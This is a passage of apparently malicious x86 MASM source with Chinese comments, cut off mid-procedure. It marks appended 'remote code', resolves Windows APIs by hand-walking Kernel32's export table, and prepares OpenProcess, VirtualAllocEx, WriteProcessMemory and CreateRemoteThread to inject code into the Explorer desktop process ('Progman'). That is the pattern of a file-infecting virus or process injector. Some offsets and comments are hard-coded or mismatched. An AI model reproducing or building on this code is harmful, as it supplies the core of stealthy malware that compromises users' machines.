include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib
include Macro.inc
.code
APPEND_CODE0 equ this byte
Remote_code_start0 equ this byte
include RemoteCode.asm
include _RemoteCode.asm
szGetProcAddress db 'GetProcAddress',0
szLoadLibraryA db 'LoadLibraryA',0
szGetModuleHandleA db 'GetModuleHandleA',0
szOpenProcess db 'OpenProcess',0
szVirtualAllocEx db 'VirtualAllocEx',0
szReadProcessMemory db 'ReadProcessMemory',0
szWriteProcessMemory db 'WriteProcessMemory',0
szCreateRemoteThread db 'CreateRemoteThread',0
szCloseHandle db 'CloseHandle',0,0
szFindWindowA db 'FindWindowA',0
szGetWindowThreadProcessId0 db 'GetWindowThreadProcessId',0,0
szDesktopClass db 'Progman',0
szKernelDll db 'Kernel32.dll',0
_GetProcAddress0 proc hInstance:dword,szAPIAddress:dword;得到GetProcAddress的地址
local @hInstance:dword,@szAPIAddress:dword,@ExportDirctory:dword,@AddressOfNames:dword
mov eax,hInstance
mov @hInstance,eax
mov ebx,szAPIAddress
mov @szAPIAddress,ebx
add eax,0F0h
assume eax:ptr IMAGE_NT_HEADERS
mov eax,[eax].OptionalHeader.DataDirectory.VirtualAddress
add eax,@hInstance ;得到导出表的地址
mov @ExportDirctory,eax
mov edx,eax
assume eax:ptr IMAGE_EXPORT_DIRECTORY,edx:ptr IMAGE_EXPORT_DIRECTORY
mov eax,[eax].AddressOfNames
add eax,@hInstance;
mov @AddressOfNames,eax;导出函数名字符串地址表的(数组起始RVA)
mov edi,@szAPIAddress
mov ebx,edi
mov ecx,-1 ;表示最从大开始扫描
push eax
xor al,al
cld
repnz scasb
pop eax
mov ecx,edi
sub ecx,ebx ;得到字符串的长度包括0
sub edi,ecx ;要比较的字符串基地址
xor ebx,ebx
.repeat
mov esi,dword ptr [eax]
add esi,@hInstance
push edi
push ecx
repz cmpsb
.if zero?
pop ecx
pop edi
jmp @F
.endif
pop ecx
pop edi
add eax,4
inc ebx
.until ebx>=[edx].NumberOfNames
@@:
sub eax,@AddressOfNames
shr eax,1 ;进行除以2
add eax,[edx].AddressOfNameOrdinals
add eax,@hInstance
movzx eax,word ptr [eax] ;得到序号索引
shl eax,2 ;进行剩以2得到
add eax,[edx].AddressOfFunctions
add eax,@hInstance
mov eax,dword ptr [eax]
add eax,@hInstance;得到GetProcAddress的地址7c80ae30
ret
_GetProcAddress0 endp
_GetAPI_CRGJ proc
local @lpGetProcAddress,@lpLoadLibraryA,@lpGetModuleHandleA,@lpOpenProcess,@lpVirtualAllocEx
local @lpReadProcessMemory,@lpWriteProcessMemory,@lpCreateRemoteThread,@lpCloseHandle
local @lpFindWindowA,@lpGetWindowThreadProcessId
local @dwProcessID,@dwThreadID,@hProcess,@lpRemoteCode,@lpKernelDll
local @hModule;采用局部变量是因为Link之后没有对代码段设定属性为可读可写(只可读)
local @ReadTemp
